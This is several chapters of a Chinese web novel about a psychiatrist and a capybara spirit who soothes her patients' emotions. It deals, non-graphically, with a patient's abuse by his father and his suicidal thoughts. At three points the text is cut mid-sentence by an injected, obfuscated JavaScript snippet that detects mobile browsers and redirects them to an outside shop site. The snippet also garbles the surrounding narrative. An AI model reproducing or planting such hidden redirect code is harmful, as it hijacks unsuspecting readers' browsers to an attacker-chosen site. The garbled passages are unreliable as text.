《卡皮巴拉,专治不开心!》 1. 我的小助理 【我觉得你的工作不错,人也很好,我们挺合适的,做我女朋友吧。】 【以后等我们小孩出生了,直接住学区房,上学也方便。】 段琅然盯着手机屏幕,对面一连发来好几条消息,是表白信。 实话说,段琅然跟这人根本不熟。 相亲只是为了应付父母的,她并没有要谈恋爱的意思。 她编辑了一条消息发过去:【我最近没有恋爱的打算,就不耽误你了。】 反手设置了一个免打扰,利落地离开了聊天框。 每天工作已经够累了,再分出时间和精力谈情说爱,她就是再高能量都不够用的。 她简单收拾了一下包,把昨天研究的病例资料带上,弯腰拿起一个大包,拉开拉链。 她喊着屋里的水豚:“小满!过来,上班了!” 话音刚落,一只毛团子“蹭”地飞过来,在段琅然脚边看了看她,而后利落地钻进那个本应是猫包的包里面。 新的一天又开始了,不知会是平静还是鸡飞狗跳。 到达诊室后,稍作整理,第一位预约患者梁铮就来了。 梁铮来问诊的次数不少,段琅然对他的病例很熟悉,聊起天来自然会放松很多。 “小铮来了,最近感觉怎么样?” “学校里事情挺多的。” 瘫坐在办公桌上的小满静静地听着他们说话。 它是一只水豚,按理说是不会出现在心理诊所这种严肃场合的。但是它和别的豚不一样,它是段医生一分钱没给地特聘来的小助手。 段琅然摆弄着电脑:“我当然问的不是你学校里的事情。” “我妈......也挺好的,最近很少说那些话。” 段琅然点了点头:“都是好事,药有每天在吃的吧?” 患者缓缓地点头,又想了想。 “其实有两次,差点都要被她发现了。” 棕色的毛团子似乎发现了什么,在患者情绪低落下去的时候,双腿一蹬,轻盈地落入患者怀里。 患者愁容顿时散去不少,捏了捏小满的身体:“段医生,它好像胖了。” 段琅然盯着小满仔细瞅了瞅:“没有吧,这挺瘦的。” “可是我两只手都圈不住它的脖子。” “那是它长大了。” 小满维持着良好的营业形象,睁着一双无辜的豆豆眼,看着议论它身材的二人,自顾自地抓了段琅然桌上的绿叶子吃起来,吃得简直和表情包里一模一样。 段琅然一听到患者说起小满的身材,想起了观察患者的身材情况,还真看出了点变化来。 “你啊,最近是不是宵夜吃得有点多?看你这个体重……偶尔多吃一点,对你的恢复确实是也有好处,但还是不要经常暴饮暴食,否则过段时间我得替你去隔壁医院挂号,治你的三高咯。” 段琅然脸上带着笑意,患者也被这句话逗笑了。 患者表现得有些腼腆:“我......最近谈恋爱了。” 段琅然略显意外,又仔细上下打量他:“谈恋爱了啊,怪不得呢,我看你气色也好了不少。” “好,那我就按照老规矩给你开药......” 外面是什么声音? 诊所的门和墙壁都做了隔音,隔着一层层吸音海绵,智能囫囵听见外面有人在争吵闹事,那声音似乎越来越近。 “砰!” 门被强硬地打开,一个女人气势汹汹地闯进来,不由分说地给了患者一巴掌。 “梁铮!你跟我说学校里有事情,你竟然骗我,你瞒着我来这种地方!” 段琅然站起来,皱着眉打量这个女人。 女人看着是四五十的岁数,身量不高,长相和患者有七八分相像,应该是患者的母亲。 “跟我回家!”说着就要拉起刚才被她呼了一巴掌的儿子走。 段琅然猛地一拍桌子,“啪”的响声让周围环境顿时安静下来,连一脸怒气的患者家属也愣了一下。 “这里是医院,请你不要大声喧哗,也不要干扰病人的治疗。” 女人怒极反笑:“治什么治,他哪里有病,他就全是装出来的,你们居然连他这种鬼话都相信!” 段琅然给了小满一个眼色,小满意会,立刻从椅子上跳上桌子,死死盯着那个女人看。 女人怒火中烧,骂完了儿子又指着段琅然的鼻子骂:“你,你就是骗他钱的是吧?别以为我不知道,你们什么心理咨询心理治疗,都贵得要死,他一个大学生,天天把钱都花在你们这里,你们数钱的时候良心不会痛吗?我......” 女人忽然辞穷,骂人的话一时没了下文。 她神情恍惚,莫名地眼神空洞了一阵,再回过神来时,仿佛已经不记得自己为什么而生气发怒。 段琅然看见此情此景,终于安心。 这次程小满依然没有失手,能力强得可怕。 “你......你们,我......算了,不跟你们计较了。” 小满爬到段琅然的手边,段琅然摸了摸它的脑袋,给了个认可的眼神。 在一群人的围观下,在走廊监控的拍摄下,患者家属亲口表示不会再来医院闹事,心平气和地把患者梁铮带走。 全场所有人都纳闷,却不怎么意外。 段琅然的诊室就是有这种魔力,不管人发了多大的火气,都像是有个灭火器一样,能把人的火精准地扑灭。 段琅然不耐烦地叹了一口气:“这件事情我会跟患者和家属好好沟通的,给大家添麻烦了。” 终于等到所有人都离开,诊室的门再次关上,段琅然才终于松了口气。 她的手还紧紧捏着鼠标,手心都攥出了细汗。电脑屏幕上的光标停留在一段音频的播放按钮上。 这是她的第二手准备。 以前和患者家属正面冲突吃过亏,段琅然也学乖了,干脆就让小满先出手。 如果刚才小满没成功的话,她也不怕,只要点开这段音频,那女人就绝不敢继续在这里胡闹。 “做得不错。” 水豚从桌子的另一侧爬过来,在段琅然的手边蹭了几下。 “脑子还挺聪明。”段琅然顺势把它抱起来,手臂不由得往下一坠,她不得不承认,这团东西确实又重了。 刚认识的时候段琅然还能一只手抱起它,现如今两只手一起抱都有些吃力了。 过几天要去问问程知乐,这种情况要不要给它减肥。 段琅然把小满放下来,整理了一下电脑里的文件。至于刚才那段录音,她纠结了片刻,还是留了下来。或许以后还会有用。 此时诊室的门被人敲响。 “进。” 一个二十岁出头的姑娘站在门口,如同先前来过的许多次一样,她脚步磨磨蹭蹭的,不肯进来。 段琅然瞥了她一眼,略显无奈地一笑:“进来啊,不用怕我,我真的不会吃了你。” “姐姐,我又来了......” “都说了别叫姐姐,叫医生。”段琅然刚被折腾了一回,心情很差,但她她的职业素养不允许她迁怒于其他无辜的患者。 她抬头,忽然看见小满钻进了小女孩的怀里,一下子不乐意起来,努力维持的轻声细语也变得冷冰冰起来:“他,小心他蹬你,我这里毕竟不是宠物店。” 方才还趴在段琅然怀里的水豚无比自然地蹭到了患者的怀里,段琅然心里生出了点怪异的滋味。 女孩很懂事地把小满放在桌上,小满的爪子却还是扒在小女孩的身上。 段琅然这下真的不乐意了,自己天天养着的水豚竟然如此吃里扒外地去蹭患者,虽然它确实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540024|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的助理没错,但…… “程小满!” 一人一豚俱是一颤,齐刷刷看向段琅然。 “抱歉,刚才我声音有点大了,你先跟我讲讲最近的服药情况和观察情况吧。” 姑娘来的次数多,早就熟悉了段琅然这个脾气,并不见怪,熟练地从包里拿出段琅然要的东西递过去。 小满的四只小爪子“哒哒哒”地爬动,爬到了段琅然的电脑旁边,找了个不显眼的位置,蜷缩着睡下了。 只有睡下才不会被段琅然阴晴不定的脾气给迁怒。 段琅然的脾气是整个诊所出了名的差,奇怪的是她人却一点也不坏,甚至时常心软。程小满说不准自己和她一起生活究竟是福还是孽。 程小满是段琅然几个月前在路边捡到的,那会程小满刚从动物园里逃出来,无家可归流落街头,饿得慌还受了伤。彼时刚下班的段琅然披着一身夜色而来,在它身边停留片刻,把它带回了家。 如今无论程小满怎么想,都觉得捡一只受伤的水豚这种事,对脾气差得像个炮仗的段琅然而言,无异于脑子抽了。 “医生,它其实很喜欢你的。” 程小满迷糊地睁开一只眼睛,看见女孩凑在段琅然的耳边小声说话。 “它只是习惯安抚患者了,它其实是很喜欢和你待在一起的。” “怎么可能,它......”段琅然的目光躲闪,左看右看,最终脸上肌肉没崩住,勾起嘴唇笑了,“它喜欢跟我待在一起啊。” 看吧,这个人类就是很奇怪,一会闹一会笑的。 程小满能受得了段琅然奇怪的脾气,是因为他是带着接近段琅然的。 当天晚上的“偶遇”是他蓄谋已久,他深知自己是理亏的一方,没资格指责被他算计的段琅然。 而之所以不惜离开生活质量还算有保障的动物园,绕个大圈子找到段琅然,全是为了一件事情。 他要找回他此前的记忆。 作为一只妖精,他的记忆只有五年,却能明显感觉到,自己活了很长的时间。 过往的记忆就像被风吹起来的砂砾,他有时能感知到过往就在自己的附近,有时候又觉得那段过去遥不可及,令他苦恼不已。 这五年以来,他一直在A城的三山动物园打工,和其他普通的动物一起,被人围着观赏拍照。 直到某一天,一个人来到三山动物园的水豚馆。那个人隔着玻璃看程小满,程小满几乎是在一瞬间,从她的身上看到了自己过往的某些投射。 那些记忆暧昧不明,只能看到无数的闪回,拼凑不出一点的完整片段。 而更加要命的是,程小满发现那个人类长得很漂亮,让他想要接近那个人类,想要待在她身边。 于是他装作自己是个普通的小动物,跟在段琅然身边。可纸当然包不住火,很快就心细缜密的段琅然就发现,程小满能听懂人话。 装也装不下去,程小满索性摊牌。 “你猜对了,我是妖,我不是普通的水豚。” 他变出人类的皮囊,一米八的大高个,甚至需要俯视段琅然,让他还有些不习惯。 眼前的段琅然却像是看到了什么脏东西一样“啊”地一声叫出来,反应迅速地遮住眼睛,做出一副非礼勿视的态度。 “停停停,你怎么不穿衣服啊!” 程小满低头打量自己,看到自己身上的肌肉,然后再往下......不对,人类不能把这个露出来的,他忘记了! “你,你,你有裤子吗?” “我家里怎么可能有你能穿的裤子啊?你,你是个男的,我......我朋友之前一条裤子落我家了,你将就穿吧。” 段琅然遮着眼睛走进房间,很快带着一条运动短裤走出来,没好气地往程小满身上一丢。 “你穿条裤子吧!” 2. 我的记忆 段琅然是个富二代,至少程小满的前饲养员程知乐是这么说的。 她本人很漂亮,她们家也很有钱,父母都是大老板,段琅然按理说躺在家里一辈子都吃喝不愁,完全想不出人生会有什么烦恼。 偏偏她要出来朝九晚五地上班,大学还要念医学这种地狱级别的专业。 实在是自己给自己找罪受的程度。 按照程小满对人类的了解,“富二代”群体普遍的日常生活应该是开着豪车满街逛,去高档的奢侈品店里消费,再来一顿程小满见都没见过的食材烧成的饭。 而段琅然,她的日常是开着不太豪的车来到是非众多的心理诊所,坐班八九个小时,再开着不算太豪的车,回到不算太豪的普通公寓。 程知乐说,她这是有理想,有工作热情。程小满不知道什么叫理想,但从程知乐的嘴里听得出来,段琅然在她自己的工作领域是一个相当厉害的人。 段琅然自己对此事的解释更加含糊:“我只是给自己找点事情做。” 那么顺理成章地,收养程小满此事,也是“给自己找点事情做”。 只是这次找的事情有点大了。 作为宠物,程小满并不是很让人省心。他吃得极其多不说,作为动物形态还时还容易掉毛,好几次想去人类的厕所上厕所结果掉进了马桶里,等段琅然回来才被捞出来。 换作普通的宠物,段琅然应该早就火冒三丈把它臭骂一顿了,可惜程小满是有特殊能力的妖。 他能操纵人的情绪。 所以哪怕段琅然真的火冒三丈,程小满也能当那个灭火器。 虽然这个能力被封印了很大一部分,但哪怕在这种程度下,程小满依旧能精准地把情绪投递给目标任务,即使只是共处一室,他也能慢慢地让所有人的情绪和他同化。 段琅然和他住在一个屋檐下那么久,哪怕心情烦躁,也会因为程小满的影响,变得心平气和,火气生生咽下去。 而这一切,最终也和他的妖精身份一起被程小满全盘托出。程小满当时仅仅想知道段琅然会不会因为他的身份和能力弃养他,或是避如蛇蝎。 段琅然却一味盯着他的胸口看。 “嗯?有什么东西吗?”程小满奇怪,低头去看。 “好大的肌肉.......咳咳,我是说,你身材还不错。” “嘿嘿嘿,我特意给自己塑的,好看吧。” 说起他的身体,程小满很得意,他知道自己长得很好看,身体也很好看,毕竟妖精的化形样貌是可以自己改的嘛,按照好看的人一点点改成现在这个样子,他也是花了不少力气的。 段琅然抬头看程小满的脸,露出了颇为欣赏的眼神,相当刻意地地咳了咳:“咳咳,是......长得好看啊。长成这样的话,你完全可以出去当个男模,不用像现在这样,呃,寄人篱下,是吧?你要是对人类社会的工作不太了解,我可以给你介绍......” 程小满不得已打断她:“我的妖力......现在还很弱,我现在变成人的时间维持不了多久,所以才一直当水豚......求求你养着我吧,可以不把我当成人的。” “但我没办法接受自己养了一个人在房间里面啊!”段琅然揉了揉太阳穴,看上去心情又变得烦躁,“养只猫养条狗都可以,哪怕是水豚这种小众宠物,我也能接受,但是你这么大一个人,我......” 段琅然又陷入了常态化的烦躁。她在房间里来回踱步。每次她在两个选择之间犹豫不决的时候,就会做出这样的动作。 程小满低头不语。 段琅然的情绪已经到了他都没办法改变和彻底控制的程度了。 “我求你,你走吧。我不知道要怎么面对你。” 程小满急着辩解,嘴巴一时说漏:“其实我本来就是特地......不是,我,我......” “你特意来找的我?啊?”段琅然走上前几步,盯着程小满的眼睛看,微微蹙眉。 程小满盯着那双眼睛。好漂亮的一双眼睛,睫毛很长,瞳仁很幽深,程小满竟然一时失神,开始回想自己有没有见过眼睛比她更好看的人类。 “总要有目的的吧?你不可能莫名其妙地要来接近我,总要有什么目的的吧?” 程小满心一横,知道他现在必须说出实话了。 “我来你这里,是为了找回我以前的记忆。” “记忆?在我这吗?”段琅然环视四周,“我这里没有记忆啊,鸡头鸡翅鸡胸鸡腿倒是都有,你还要吃什么我都能给你买。” “能不能听我说完啊......”程小满暗自对这个莫名其妙扯开话题的人类感到无语。 段琅然平静下来不少,上下打量着程小满的这具身体。 “我从来没见过妖精,真是有意思的物种啊......” “我的记忆弄丢了,现在只剩下五年的记忆。但是在你身上,我能看到记忆的碎片。” “你这话的意思是,我们以前见过?” 程小满摇头:“我都不记得了,所以也不清楚是为什么。” 他微微欠身,把视线放到和段琅然平齐的位置。 “你这里有我想要的东西,我的记忆。等我找到记忆,我马上就走,绝对不多留一分钟,这样可以吗?” 段琅然还没来得及回答,程小满“蹭”地一声缩小,把段琅然吓了一跳。再睁眼时,眼前那个高大的男人已经不翼而飞,只剩下脚边一只棕色的毛团子。 段琅然宁愿相信是自己记忆错乱,也不想承认那个男人是她养了快一个月的宠物。如今他一朝变了回去,段琅然也能短暂地进行一下自我欺骗。 “你就是小满,就是小满对吧。刚才那个人高马大的那位,肯定不是你,跟你没关系。” 还没等她说完两秒钟,刚刚耗尽妖力的程小满用仅剩的一点点妖力又憋出来一个人形。 “滚!” 段琅然对水豚的耐心如果是一百分的话,对这男的耐心就是0.001分。 哪怕这男的长得有点帅,长得有点高,身上有点肌肉,宽肩窄腰…… 反正他就是没办法替代小满的!小满就是小满! 段琅然崩溃无处发泄,第二天就给发小程知乐打了电话。 程知乐在此事件中承担的角色相当复杂。他和段琅然是青梅竹马,从尿裤子的岁数玩到大。但是更重要的一层身份是……他是程小满的前任饲养员。 世界上的缘分就是如此妙不可言。 在段琅然把程小满捡回来之后没几天,程知乐来她家里拿一份材料的时候,看见了正在打盹的程小满,上演了一出大型认亲现场。 程知乐抱着程小满舍不得撒手,向段琅然各种陈述程小满曾经在三山时的“光辉事迹”。 “他有名字的,他叫程小满,跟我姓,嘿嘿。” 段琅然略显无语:“你就这么想要孩子?给宠物起名字还有名有姓的。” “他就是像我的孩子一样,我养了好几年呢!” 段琅然想起这些话,不由得一阵头疼。她不知道要如何跟程知乐开口讲这件事。 “喂?找我啥事啊?是小满的事吗?” 段琅然快速肯定:“是。” “哦,他又咋了,吃不好了还是睡不好了?要不要我过来看看啊?” 段琅然思虑再三,觉得程知乐对此事有知情权:“我不想打击你……但是程小满能变成人这件事你知道吗?” 电话对面沉默了好几秒。 “喂?喂?诶……没信号了吗?” “你……认真的啊?他,他……不可能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540025|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段琅然习惯了他的死鸭子嘴硬:“你不信的话自己来看嘛,他能秒变身,变出来比你还高。” “你别跟我开这种玩笑。”程知乐似乎有点慌。 “我什么时候这种事情上跟你开过玩笑?” 程小满在旁边默默听着这一通电话,在不到半小时之后,就看见了闯进家门的程知乐。 “你表演给他看吧。” 程小满甚是听话地原地化形,程知乐表情不算很意外,当然也不平静。 “所以你是说,你……”他看向眼前这个比自己还高一些的人,“能听懂人话。” 程小满点头。 程知乐顿时炸了锅:“那我在你面前倒苦水你岂不是都能听懂啊!” “能听懂,一点。” “那我冰箱里的火腿……” “我吃的。”程小满面无悔色。 “我莫名其妙坏掉的电风扇……” 程小满低头:“我弄坏的,对不起。” “等会,你这条裤子。” 段琅然捂脸:“他刚变成人的时候,全luo,全luo!我不拿你裤子给他穿,我让他在我面前遛鸟吗??” 空气一时陷入了沉默。 显然程知乐对于自己养了好几年的小动物突然变成人这件事情也接受无能,不过他比段琅然看得开很多。在他眼里,人也好动物也好,只要是程小满就可以了,没什么区别。 “你现在这个样子还听符合我对你的想象的......嗯,挺臭屁啊,给自己整那么帅。” 一旁的段琅然默默地翻了个白眼。 “现在不是给你纠结他帅不帅的时候。” “那我得纠结什么啊?”程知乐一脸的问号,“那他现在会变成人,他不是个纯种小动物。这事不是你我能改变的,也只能接受啊,不然还能怎么样?” 段琅然一副恨铁不成钢的样子:“他是个妖!是个妖啊,你还没想起来吗?” 程知乐被一语点醒,表情一下收敛了不少,脸也突然板得很正。他视线的焦距一点点拉远,似乎想问题想得有些出神,竟然罕见地露出了迷茫的神情。 程知乐的思考渐入佳境,简直马上就要达到段琅然想让他思考的那个程度,他忽然从哪绝佳的思考状态中脱离出来,没头没尾地问了句:“你不会真喜欢我吧?” 段琅然恨不得直接给他一个大逼斗:“你有病吧。” “那你为啥要特意提醒我她的事情?” 段琅然真想把他的脑子挖出来看看里面有没有塞屎:“她是你前女友,难道就不是我老同学了吗?就算后来,有了那个事,到底也算是同窗,我能想起她的事情很正常吧?” “啊好了好了,我知道肯定不是这个原因,就是听着总是怪怪的。” “我只是想到,当年她提过一嘴,说她们家祖上都是捉妖师,到她这一代传承断掉了,她改行相信科学了。最开始我也以为她说的只是某种信仰或者传统,谁能知道现实里真有妖精啊?” 程知乐再次陷入沉思。 “你是觉得,当年杨弋出国的事情,可能就是和他们家这个捉妖师的职业有关系?” “对。而且,小满和我说,他的记忆丢了,只记得过去五年的事情,差不多也就是你在三山喂养他的时间,他没准是被人弄失忆了,又专门弄到动物园里圈养起来的。” 程知乐算了算:“是差不多。” 他转头看向早已妖力耗尽变回原形的程小满,发现一向镇定自若的小家伙竟然缩成了一团,隐隐有些害怕的意思。 “怎么了?难道是听了我们说的话......” “他在害怕。”段琅然更加笃定她的猜测,“所以世界上是真的存在捉妖师的,而且捉妖师真的很厉害,妖精是害怕他们的。” 3. 人类的能耐 程小满知道捉妖师的存在。 但他并没有见过真正的捉妖师。在他五年有记忆力的人生,哦不,豚生里,他只见过饲养员还有来动物园的游客。 他是妖,自然不会上赶着去找那些要抓他、要弄死他的人,更不会没有费尽心思的去打听他的天敌究竟是身在何处,如今又业绩几何。他只知道只要他能够安分的待在这个动物园里,他就不会死,也不会受到生命威胁。 但如果待在那里不出来,他也一辈子找不到自己的记忆。 所以他就下了这一步险棋,他做了一个局,来到了段琅然的家里。 但是,让他意外的是,段琅然竟然知道捉妖师的存在,并且似乎……她还认识真正的捉妖师。 段琅然和程知乐正在谈论着有关他们那个朋友的事情,程小满听到了“捉妖师”三个字。 他便更加笃定段琅然这里一定有他想要找的东西。 他心里默默地对段琅然的怪行为和怪脾气产生了包容。 “但是你这么多年来,一直都觉得杨弋她们家是在做什么封建迷信的事业。”程知乐的声音再次响起,一改平日里吊儿郎当的样子,突然沉稳正经起来,连程小满都听得一愣。 程知乐的话让段琅然沉默了。 她确实是这样想的。她是唯物主义者,她在今天之前不相信世界上有妖魔鬼怪。 但事到如今,再说这些话也没用了。世界上就是有妖怪,妖怪就在她眼前,再进行什么无谓的否定,只会显得她无知渺小。 “我一向信奉科学,我研究的东西也全都是科学。如果不是亲眼所见,你有什么理由能让我相信这些东西是真是存在的?” “那你今天叫我过来到底是为了什么!”程知乐原本是相当坐得住的一个人,此时也极了,不再端着形象和脾气,站起来质问段琅然。 “你难道不想知道当年杨弋为什么要走吗!” 程知乐又坐下了。 一直到程小满打着哈欠睡着,两人也没再说一个字。 由于变成人形的妖力消耗过大,程小满没听见什么信息,便越发疲惫,闭上眼睛后很快就睡着了。 再一次醒来的时候,程知乐已经走了,屋子里只剩下他和段琅然两个人。 段琅然问他:“你有这样的天赋,愿不愿意和我一起去诊所里帮助更多的患者?” 程小满当时有些诧异:“你不介意我是个妖吗?” “你哪里看出我介意了?”段琅然不解。 “难道说......你其实在想办法找捉妖师来抓我?” 段琅然被他一番话逗笑了。 “刚才我们说的话你都听见了吧。” “听了......一点。” 段琅然把程小满抱起来,放在腿上,姿势和他们初次见面,段琅然为他疗伤时是一样的。 她想了想,开门见山:“我想把你带到我的诊所去。你的天赋很适合干我们这一行,能替人纾解情绪,这对于一个人类来讲是很漫长的一个过程,但是对你来讲就是三五分钟的一件小事。” 程小满沉默了片刻。 “段医生,你想利用我。” 程小满的直白把段琅然弄得有点不知所措:“利用吗,听起来怎么怪怪的......” “我们之间不就是相互利用的关系吗,如果你不利用我,只有我在利用你找我的记忆,多少也显得不公平了,对吧?” 他盯着段琅然的脸,水豚小小的一双眼睛里透露不出太多的情绪,也刚好隐藏起了他对这张脸的无尽赞美之情。 程小满暗暗发誓,他这一辈子也不会让任何人知道,他把段琅然作为自己找回记忆的目标,有一部分原因是这个女人类长得太漂亮了。即便最后在段琅然这里一无所获,他也想赖在一个好看的人类家里。 段琅然的事业蒸蒸日上,至少在程之乐的嘴里,患者都很喜欢她,觉得她是一个很厉害的医生。 她完全是靠自己的能力得到了今天的成就。没有程小满,她也本就是一个小有名气的心理医生。 “抱歉,我本来没有这个意思。但当我知道知道你有那么厉害的能力,我发现我根本控制不住自己的想法,我只想用你的能力辅助我的治疗,让我能更好的控制住患者的病情,让他们痛苦的少一点。我也许是自私吧。只想让自己被更多人记住。只想让自己有更好的名声。” 程小满摇摇头,问她:“可你不是说你最相信科学?我的能力也能算是科学吗?” 段琅然没有正面回答,她叹了一口气,从窗户里出神地望向远方。 窗户外面蓝天白云,不远处有低矮的旧楼房屋顶的砖瓦有红有蓝。在阳光的照耀下,这个世界五彩斑斓。 但此刻在段琅然的眼里,似乎完全看不见这些色彩,只留下一些属于她过去的丝丝的哀伤。 “小满,你知道吗?我从本科一直读到博士,读了这么多年,我学了无数的理论,我见了很多的病人,但我发现那些专业的治疗方法他们都需要时间,甚至哪怕花了很多的时间都没有办法有效果,最后患者还是被困于病痛,甚至离开了这个世界。” 段琅然把程小满抱起来,让他的眼睛视线和自己的视线平齐:“小满,你说我要怎么做呢?到底要多努力,要多专业,才能够把那些人从痛苦里救出来。到底那些病能不能被根治?我以我作为人类的能耐,究竟能做多少?” “段医生,你平时遇到的病人,都是什么原因会生病啊……” 从听说人类会得一种叫“心理”的病开始,程小满就觉得很奇怪。 为什么人的心情不好,一定需要别人去开导?为什么他们坏的情绪不能被好的情绪给抵消?为什么有的人坏情绪会一直堆积着,以至于成了一种病? 人类真是好奇怪啊…… 他在当动物的时候也会有不开心的时候,有人用闪光灯对着他,他的食物不好吃,他的同伴和他打架,他也会觉得不开心。 但只要他吃一顿好的,或者睡一个好觉,似乎那种不开心就会离开。 难道人类不是这样的吗? “小满,如果你想知道的话,就跟着我一起去看吧。” “然后,帮助我吧。” 就是这样,他们没有很生硬地订立契约,程小满顺理成章地成为了段琅然的小助手。 段琅然花了大功夫劝说了院长,允许她带着宠物来诊室,尝试动物辅助治疗。 他们一起接诊的第一位患者,就是那个家属闹到诊所来的,梁铮。 起初段琅然只以为他是学习或者工作压力太大。大学生身处在学习和职业交替的时间里,因此压力过大而抑郁,也是可以理解的。 可渐渐地患者展现出不同于普通病例的状态。段琅然发现,梁铮不愿意和他正面的阐述自己的痛苦来源。 根据她所学过的理论,这种情况是患者经历了一些他个人认为见不得光或者丢脸的创伤。 很容易地,她就想到了x创伤。 但他又很快的否定了自己,因为她先入为主地想,梁铮是个男孩子,应该不会发生这样的事。 后来她发现自己真是低估这个世界了。 在段琅然坚持不懈的进行催眠、放松的疗法之后,梁铮终于开口说出了实情。 他开口时仍然是支支吾吾的:“我……我的父亲……他经常……xq我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540026|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那你的母亲呢?她知道这件事吗?” “她知道!”梁铮的情绪逐渐激动起来,眉头紧锁,全然不似刚才那个静静地坐在那里,不愿抬头,双眼无光,对世界毫无感知的样子。 他深吸一口气:“在我未成年的时候,有一次我报了警,是她去和警察说那是个误会,是她签的谅解。” 段郎然都不知道现在是该愤怒还是应该理智的劝诫患者,最后她发现她的理智完全胜不过她的愤怒。 她无法理解世界上为什么会有亲子相残,为什么会有亲父亲xq亲儿子这样的事情发生。 这本该是一起刑事案件,本来这个父亲应该得到他应承担的法律责任,而后患者才应该找到心理医生去治疗创伤。 现在的情况让段琅然有些束手束脚了。 她到底应该劝患者回到家里去直面那些创伤,还是应该劝患者趁早离开那个家而回避那些创伤呢? 似乎都不对。 “你找到工作了吗?”段琅然试探着问。 患者摇摇头:“我还没有毕业,只干过兼职。” “那你想离开他们吗?” “我离不开……没有钱,没有钱就离不开他们,我就要永远在那里。” “我当然可以帮助你治疗你的创伤,这是心理医生应尽的责任。但是你知道,我治好了你,你又再回到家里去,再一次受到创伤,就像一张纸被揉了一次,它还能展平,被揉了三次、五次,它早就从一张纸成了一块布,想要把它恢复原样,已经是不可能了。” 患者沉默良久。 “医生,我很多次想过去死。但是都被他们救回来了。” 段琅然敏锐地发现了重点。 “你家里人真的担心你真的死掉吗?” “我去死,难道不就是他们逼的吗!他们什么时候在乎过我的死活!我妈明明知道这些事情,她明明什么都知道!可她为什么,为什么要那样……” 程小满用尽了最多的妖力,努力的想要把患者的情绪平复下来,可还是过了好久都无济于事。 他看见了。患者的眼里、患者的身体里有太浓烈的恨,也有太浓烈的失望。 “她老跟我说,那毕竟是你爸爸呀,你怎么可以报警让警察来抓他呢?我觉得这件事情很荒谬。他不是我爸爸,他……他对我的出生完全没有贡献,在我生下来以后都是我妈在养我,我一年都见不到他几次……那样的人怎么能算是我的爸爸呢?” 段琅然静静地看着他。 看着他从愤怒变为近乎疯狂,站起来痛骂自己的父母。再到后来觉得可笑,又平静下来,一屁股坐到椅子上,再次一言不发。 这是梁铮的第一次咨询,段琅然原本是有权力拒绝进行后续治疗的。 但她犹豫再三,还是接诊了这个病人。 她觉得,如果连她都不愿意帮助这个年轻人的话,也许他真的断了最后一根救命稻草。 段郎然平复了一下自己的情绪,深吸了一口气。 “如果你觉得自己永远不能好起来的话,为什么还会来找到我呢?你一定是还抱着一点希望,所以才会来找我,对吧。” 梁铮终于在全程第一次抬起了头,正视段郎然的眼睛。 “医生,救救我吧,我好痛苦,我想死。” 程小满就坐在旁边,原本他应该像一个吉祥物一样,只在暗中安抚病人的情绪。 但是他看见了,他明晃晃的,看见了患者的身体里好像少了一点什么。 少一种名为希望的情绪。 程小满很奇怪。段琅然不是说他还报着点希望吗?可为什么,连一点点的希望都看不见…… 4. 患者梁铮 当天接诊完,程小满把自己的发现告诉了段琅然。 段琅然有些意外:“我以为你只能影响他的情绪......你究竟还有多少我不知道的能力?” 程小满低头不做声,段琅然看出他对自己仍然有所保留,并不意外,也没再说什么。 半晌,她问:“你确定你没有看见他身体里的希望吗?” 程小满点头。 段琅然整理着手边的资料,深吸一口气。 “来我这里的人,大都是没了希望,走投无路的。对自己未来抱着希望的人往往不需要来找我们,她们可以自愈,可以和自我的伤痛和解,从创伤里走出来,变成一个新的人。丢了希望的人就不同了,他们中的很多人,甚至先入为主地认定自己必定会死,带着一点点求生的本能来找上心理医生。” “那你为什么还是要接手他的病例,为什么还是要救他?按照你的说法,这个患者不是没救了吗?” 段琅然说的话显得有些前后矛盾了。 “没救也要救,能做多少就要做多少,能挽救一条命就去挽救一条命。我们和其他的医生是一样的。如果我不救他,就没有人能救他了,他在这个世界上没有其他人了。” “所以,按照你说的,以后的其他患者,他们也是丢掉全部的希望才会来找你的吗?” 现实告诉程小满并不是这样的。 患者的问题五花八门,身上的毛病大大小小各不相同。 有些人,他们满怀着希望仍然痛苦,段琅然每次都会轻松地劝慰他们:“都是小毛病,很快就可以好起来的。按时吃药,按时复查就可以了。” 也有些人,从他们身上能看见的希望非常微弱,他们在放弃自己的边缘徘徊,本能地求生自救。按照段琅然的说法,他们是另一种意义上的濒死者。 在所有这些希望渺茫的濒死者中,梁铮是他们中最特殊的一个,他的身上连一点点希望都看不到。 后来梁铮来了第二次,第三次,段琅然只按照正常的x创伤的治疗流程去给他治疗,没再横生枝节地关注他的家庭问题。按照段琅然的经验,对于原生家庭创伤的患者,有时候不提起就是对他们病情最大的保护。 